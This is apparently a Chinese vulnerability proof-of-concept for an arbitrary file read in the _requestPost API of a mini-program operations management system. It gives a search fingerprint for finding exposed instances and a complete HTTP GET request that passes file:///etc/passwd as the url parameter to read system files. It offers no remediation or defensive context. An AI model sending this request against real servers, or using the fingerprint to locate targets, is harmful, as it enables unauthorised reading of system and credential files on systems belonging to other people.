万能小程序运营管理系统 _requestPost 任意文件读取漏洞

body="/com/css/head_foot.css" || body="/com/css/iconfont"

GET /api/wxapps/_requestPost?data=1&url=file:///etc/passwd HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: close